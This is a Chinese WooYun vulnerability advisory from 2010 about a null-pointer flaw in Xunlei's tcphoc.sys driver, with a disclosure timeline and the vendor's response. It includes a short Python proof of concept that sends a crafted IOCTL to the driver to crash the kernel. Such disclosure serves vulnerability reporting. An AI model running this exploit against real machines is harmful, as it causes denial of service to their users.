漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2010-08-26： 细节已通知厂商并且等待厂商处理中
2010-09-06： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
迅雷tcphoc.sys驱动没有正确地验证用户所提交的调用参数，本地用户可以通过提交恶意的IOCTL请求导致内核崩溃。
详细说明：
迅雷tcphoc.sys驱动没有检测空指针。
漏洞证明：
#!/usr/bin/python
from ctypes import *
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
DEVICE_NAME = "\\\\.\\tcphoc"
dwReturn = c_ulong()
out_size = 1024
in_size = 1024
in_data =''
out_data =''
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
in_data=1024*'\x80'
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x222000, in_data,0, out_data, 0,byref(dwReturn), None)
修复方案：
版权声明：转载请注明来源 路人甲@乌云
>
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2010-09-06 11:42
厂商回复：
漏洞Rank：7 (WooYun评价)
最新状态：
2010-09-07：之前并没有收到wooyun的反馈，所以导致该漏洞被认为厂商忽略而公开，可能wooyun处理存在些许bug。感谢漏洞发现者，该漏洞将在下一版本修复。